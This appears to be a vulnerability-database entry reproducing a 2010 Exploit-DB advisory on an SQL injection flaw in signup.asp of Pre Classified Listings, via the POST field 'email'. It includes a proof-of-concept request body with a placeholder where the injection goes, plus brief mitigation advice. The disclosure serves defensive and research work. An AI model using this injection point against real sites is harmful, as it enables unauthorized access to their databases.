Pre Classified Listings Remote SQL Injection Vulnerability

vendor:

Business Listing

by:

Crux

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: Business Listing

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Pre Classified Listings Remote SQL Injection Vulnerability

This vulnerability affects signup.asp and can be exploited via the POST variable 'email'.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

=================================================================
[~] Pre Classified Listings Remote SQL Injection Vulnerability
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010
## Software Link: http://www.preprojects.com/businesslisting.asp
## Version: N/A
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects signup.asp
// Can be exploited VIA the POST variable 'email'

[#] Exploit / POC:
full_name=111-222-1933email@address.tst&email=${SQLINJECTIONHERE}&pass=test&ad
dress=3137%20Laguna%20Street&phone=555-666-0606&state=0&hide_email=on&url_add=
111-222-1933email@address.tst&Submit=SignUp&addit=start
=================================================================